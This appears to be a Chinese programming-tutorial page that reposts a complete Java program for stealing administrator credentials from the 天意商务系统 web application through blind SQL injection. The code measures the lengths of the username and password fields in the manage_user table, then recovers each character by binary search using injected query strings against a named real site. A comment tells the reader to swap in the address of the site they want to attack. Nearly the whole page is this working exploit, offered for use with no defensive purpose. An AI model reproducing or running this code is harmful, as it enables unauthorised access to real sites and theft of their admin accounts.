·您的位置: 首页 » 资源教程 » 编程开发 » JAVA、JSP » java程序破解天意商务系统后台帐号

java程序破解天意商务系统后台帐号

类别: JAVA教程  评论数:0 总得分:0
java程序破解天意商务系统后台帐号


/**
文件名 : AttackTY.java
描述 : 针对天意商务系统的java程序,破解后台管理员用户名和密码,利用SQL Injection漏洞
注入地址为本网动态的某个新闻,这里以www.ejl.cn为例
作者: 慈勤强
Email : cqq1978@Gmail.com
**/


import java.net.*;
import java.io.*;

public class AttackTY extends Thread
{
int iUserLen;
int iPwdLen;
String strKey="暂时还未";
String strU="http://www.ejl.cn/show_news.asp?newsid=105"; //只须修改这里,变成你要攻击的网站地址

//取得某个页面的函数
public String getContent(String strUrl)
{
try{
URL url=new URL(strUrl);
BufferedReader br=new BufferedReader(new InputStreamReader(url.openStream()));
String s="";
StringBuffer sb=new StringBuffer("");
while((s=br.readLine())!=null)
{
sb.append(s+"/r/n");
}
br.close();
return sb.toString();
}
catch(Exception e){
return "error open url" + strUrl;

}
}


//取得管理员用户名和密码的长度
private int getLen(String str)
{
AttackTY ou=new AttackTY();
String s,s1;
for(int i=2;i<20;i++)
{
s=strU+"%20and%20(select%20top%201%20len("+str+")%20from%20manage_user)="+i;
s1=ou.getContent(s);
if(s1.indexOf(strKey)<0)
{
return i;
}
}
return 0;
}


//二分法取得用户名和密码的Ascii码值
private void getValue(String str,int iLen)
{
AttackTY ou=new AttackTY();
String s,s1,s2;
s2="";
int iStart,iEnd,iNow;
for(int j=1;j<=iLen;j++)
{
iStart=33;
iEnd=126;
while(iEnd-iStart>1)
{
iNow=(iStart+iEnd)/2;
s=strU+"%20and%20(select%20top%201%20asc(mid("+str+","+j+",1))%20from%20manage_user)>"+iNow;
s1=ou.getContent(s);
if(s1.indexOf(strKey)<0)
{
iStart = iNow;
}
else
{
iEnd = iNow;
}
}

System.out.print((char)iEnd);
}
}


public static void main(String args[])
{
AttackTY ou=new AttackTY();
ou.iUserLen=ou.getLen("username");
ou.iPwdLen=ou.getLen("password");
System.out.println("用户名:" );
ou.getValue("username",ou.iUserLen);
System.out.println("/r/n密码:");
ou.getValue("password",ou.iPwdLen);
}
}






-= 资 源 教 程 =-
文 章 搜 索
关键词:
类型:
范围:
纯粹空间 softpure.com
Copyright © 2006-2008 暖阳制作 版权所有
QQ: 15242663 (拒绝闲聊)  Email: faisun@sina.com
 纯粹空间 - 韩国酷站|酷站欣赏|教程大全|资源下载|免费博客|美女壁纸|设计素材|技术论坛   Valid XHTML 1.0 Transitional
百度搜索 谷歌搜索 Alexa搜索 | 粤ICP备19116064号-1